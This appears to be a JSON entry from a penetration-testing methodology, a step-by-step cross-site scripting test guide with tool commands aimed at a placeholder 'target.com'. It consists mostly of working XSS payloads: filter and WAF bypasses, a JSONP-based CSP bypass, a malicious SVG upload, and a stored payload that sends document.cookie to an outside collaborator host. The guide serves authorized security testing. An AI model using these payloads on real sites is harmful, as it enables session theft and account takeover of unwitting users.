{
  "slug": "xss-testing",
  "title": "Cross-Site Scripting (XSS)",
  "phase": "Exploitation",
  "description": "Test for reflected, stored, and DOM-based XSS across all input vectors, including filter bypass techniques and context-aware payload crafting.",
  "difficulty": "medium",
  "tags": [
    "exploitation",
    "xss",
    "reflected",
    "stored",
    "dom",
    "client-side"
  ],
  "tools": [
    "dalfox",
    "XSStrike",
    "Burp Suite",
    "nuclei"
  ],
  "steps": [
    {
      "id": "xss-01",
      "title": "Detect reflected XSS via reflection analysis",
      "description": "Inject unique canary strings into all input parameters and identify where they reflect in the response, then determine the rendering context.",
      "commands": [
        "echo 'target.com' | waybackurls | qsreplace 'haCk4TlAs\"<>xss' | while read url; do curl -sk \"$url\" | grep -q 'haCk4TlAs' && echo \"[REFLECTED] $url\"; done",
        "dalfox url 'https://target.com/search?q=FUZZ' --silence --only-poc",
        "python3 XSStrike/xsstrike.py -u 'https://target.com/page?param=test' --crawl"
      ],
      "notes": "Always identify the exact rendering context (HTML body, attribute, JavaScript, URL) before crafting payloads — a payload that works in an HTML context will fail inside a JavaScript string."
    },
    {
      "id": "xss-02",
      "title": "Test stored XSS in all persistence points",
      "description": "Submit XSS payloads into every field that persists data — profile fields, comments, file uploads, support tickets, and any shared content.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/comments' -H 'Content-Type: application/json' -d '{\"body\": \"<img src=x onerror=alert(document.domain)>\"}'",
        "curl -sk -X PUT 'https://target.com/api/profile' -H 'Authorization: Bearer <token>' -d '{\"bio\": \"<svg/onload=fetch(\\\"https://collaborator.net/?\\\"+document.cookie)>\"}'"
      ],
      "notes": "Stored XSS often hides in less-tested fields like display names, address fields, or file metadata. Check every output location where your input renders — admin panels, PDF exports, and email notifications."
    },
    {
      "id": "xss-03",
      "title": "Identify DOM-based XSS through source-sink analysis",
      "description": "Trace user-controllable DOM sources (location.hash, document.referrer, postMessage) to dangerous sinks (innerHTML, eval, document.write).",
      "commands": [
        "cat js-files.txt | xargs -I{} curl -sk {} | grep -oiE '(innerHTML|outerHTML|document\\.write|eval\\(|setTimeout\\(|setInterval\\(|Function\\()'",
        "nuclei -u https://target.com -t dast/vulnerabilities/xss/ -headless"
      ],
      "notes": "DOM XSS does not appear in server responses. You must test in a browser or headless engine. Check for postMessage handlers that pass data to innerHTML without validation."
    },
    {
      "id": "xss-04",
      "title": "Bypass XSS filters with encoding and tag variations",
      "description": "Test WAF and application-level filter bypasses using alternative encodings, uncommon tags, event handlers, and mutation-based techniques.",
      "commands": [
        "dalfox url 'https://target.com/search?q=FUZZ' --waf-evasion",
        "curl -sk 'https://target.com/search?q=%3Csvg%2Fonload%3Dalert(1)%3E'",
        "curl -sk 'https://target.com/search?q=<details+open+ontoggle=alert(1)>'"
      ],
      "notes": "If angle brackets are blocked, try attribute injection in existing tags. If event handlers are filtered, try lesser-known ones like ontoggle, onpointerenter, or onfocusin."
    },
    {
      "id": "xss-05",
      "title": "Analyse and bypass Content Security Policy",
      "description": "Evaluate the CSP header for weaknesses such as unsafe-inline, overly broad whitelists, missing directives, and JSONP/AngularJS-based bypasses.",
      "commands": [
        "curl -sI https://target.com | grep -i 'content-security-policy'",
        "curl -sk 'https://whitelisted-cdn.com/jsonp?callback=alert(1)'"
      ],
      "notes": "A CSP with 'unsafe-inline' or 'unsafe-eval' is effectively bypassed. Look for whitelisted domains that host JSONP endpoints or user-uploaded content."
    },
    {
      "id": "xss-06",
      "title": "Test XSS in non-HTML contexts",
      "description": "Test for XSS in JSON responses rendered as HTML, XML/SVG documents, and markdown or rich-text editors that allow HTML injection.",
      "commands": [
        "curl -sk 'https://target.com/api/search?q=<img/src/onerror=alert(1)>' -H 'Accept: text/html'",
        "echo '<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.domain)</script></svg>' > xss.svg",
        "curl -sk -F 'file=@xss.svg' 'https://target.com/upload'"
      ],
      "notes": "JSON endpoints that reflect input without proper Content-Type headers can be exploited if accessed directly in a browser. SVG files are particularly dangerous since they support inline JavaScript."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/cross-site-scripting",
    "https://owasp.org/www-community/attacks/xss/",
    "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html",
    "https://github.com/hahwul/dalfox",
    "https://github.com/s0md3v/XSStrike"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}